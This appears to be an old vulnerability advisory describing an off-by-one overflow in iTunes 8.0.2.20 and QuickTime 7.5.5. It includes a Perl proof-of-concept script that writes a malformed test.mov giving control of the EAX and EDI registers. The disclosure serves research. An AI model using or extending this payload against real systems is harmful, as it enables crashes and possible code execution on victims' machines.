--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Quicktime/Itunes Multiple Remote Off By One Overflow Application: Itunes 8.0.2.20/Quicktime 7.5.5 (249.26)(-> version 990.7) Web Site: www.apple.com/ Platform: Windows *, OS X * Bug: Off by one overflow Tested agains: Itunes 8.0.2.20/Quicktime 7.5.5 on XP SP3 fully patched ------------------------------------------------------- 1) Introduction 2) Bug 3) Proof of concept 4) Credits ================ 1) Introduction ================ "Many of today's leading authoring, multimedia and entertainment applications rely on QuickTime to do the heavy lifting. QuickTime contains a rich set of developer APIs for handling almost any audio, video and media task. Easily make your application multimedia-enabled with QuickTime." ======= 2) Bug ======= Quicktime & itunes fails to handle long arguments on a .mov file. Quicktime is compiled with the /GS cookie on , so the bug get handled with an exit code : c0000409 but ... Itunes doesn't seems to be compiled with the /GS flag, so we get some code execution possible via Itunes. The PoC give's us full control over EAX & EDI Itunes call unsafely the Quicktime function to play the .mov, so we can trigger a possible code execution via this unsafe call to quicktime héhéhé :) The only problem, is the lengh of the buffer overflowed :( erf ... 49 bytes, less the 8 bytes controlling the EDI & EAX registers so 41. i've tryed to find a way to fill some buffer in the .mov to get some code exec working on this poc, but out of luck, i guess someone will maybe be able to do some magic tricks :) ================== 3)Proof of concept ================== #!/usr/bin/perl use strict; my $movfile = "\x00\x00\x00\x7d\x6d\x6f\x6f\x76\x00\x00\x00\x75\x72\x6d\x72\x61\x00\x00\x00\x6d". "\x72\x6d\x64\x61\x00\x00\x00\x55\x72\x64\x72\x66\x00\x00\x00\x00\x75\x72\x6c\x20". "\x00\x00\x00\x41\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31". "\x2f\x74\x65\x73\x74\x2e\x6d\x6f\x76\x00\x00\x00\x00\x10\x72\x6d\x64\x72\x00\x00". "\x00\x00\x00\x00\x05\x78". "\x41\x42\x43\x44". #EDI here "\x61\x62\x63\x64". #EAX here "\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x44\x44\x44\x44\x41\x41\x43\x43". "\x43\x41\x41\x41\x42\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"; open(out, "> test.mov"); binmode(out); print (out $movfile); close(out); //if you build this same payload , with a couple of bytes before theses null bytes you will trigger the same bug but in a different way ... ===== 5)Credits ===== laurent gaffi© laurent.gaffie{remove_this}[at]gmail[dot]com